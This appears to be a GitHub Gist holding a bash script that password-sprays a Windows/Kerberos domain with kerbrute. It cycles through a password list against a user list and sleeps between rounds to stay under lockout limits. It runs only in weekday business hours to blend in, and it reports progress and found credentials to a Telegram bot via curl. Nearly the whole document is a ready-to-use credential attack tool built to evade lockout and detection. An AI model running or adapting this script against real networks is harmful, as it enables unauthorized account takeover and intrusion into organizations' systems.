Skip to content

Instantly share code, notes, and snippets.

@PYfffE
Last active October 12, 2024 20:01
Show Gist options
  • Select an option

  • Save PYfffE/d465ea09b52b1c9a3554c4236fd1f4b5 to your computer and use it in GitHub Desktop.

Select an option

Save PYfffE/d465ea09b52b1c9a3554c4236fd1f4b5 to your computer and use it in GitHub Desktop.
Password spraying script with custom delay (to bypass max auth attemtx) and telegram bot message sending
#!/bin/bash
DOMAIN_NAME="EVIL.CORP"
DOMAIN_CONTROLLER_IP=10.0.0.1
USERS_FILE=users.txt
PASSWORD_FILE=passwords.txt
OUTPUT_LOG=passwordspray.log
SLEEP_TIME=2400
# FOR TG BOT
TOKEN="<CHANGEME>"
ID="<CHANGEME>"
URL="https://api.telegram.org/bot$TOKEN/sendMessage"
START_TEXT="[$(date -u '+%d-%m-%Y T%H:%M:%S%Z')] Started password spray with $SLEEP_TIME seconds delay"
curl -s -X POST $URL -d chat_id=$ID -d text="$START_TEXT" > /dev/null
for password in $(cat $PASSWORD_FILE)
do
sleep_mode=false
while true
do
current_hour=$(date +%H)
current_day=$(date +%u)
if [[ "$current_day" -ge 1 && "$current_day" -le 5 ]]; then
if [[ "$current_hour" -ge 10 && "$current_hour" -lt 19 ]]; then
if [ $sleep_mode = true ]; then
echo [$(date -u '+%d-%m-%Y T%H:%M:%S%Z')] "Woke up"
curl -s -X POST $URL -d chat_id=$ID -d text="Woked up" > /dev/null
sleep_mode=true
fi
break
fi
fi
if [ $sleep_mode = false ]; then
echo [$(date -u '+%d-%m-%Y T%H:%M:%S%Z')] "Workout time"
curl -s -X POST $URL -d chat_id=$ID -d text="Going to sleep" > /dev/null
sleep_mode=true
fi
sleep 1600
done
echo [$(date -u '+%d-%m-%Y T%H:%M:%S%Z')]
echo "Trying Password $password for all users";
out=$(./kerbrute_linux_amd64 passwordspray -t 1 -d "$DOMAIN_NAME" --dc "$DOMAIN_CONTROLLER_IP" "$USERS_FILE" "$password" | tee -a $OUTPUT_LOG)
if echo "$out" | grep '\[+\]'; then
curl -s -X POST $URL -d chat_id=$ID -d text="Silence, pentesters! Bot speaking. I found a password" > /dev/null
echo "Found!"
fi
echo "Sleeping $SLEEP_TIME seconds"
sleep $SLEEP_TIME
done
curl -s -X POST $URL -d chat_id=$ID -d text="Password Spraying done." > /dev/null
echo "Done!"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment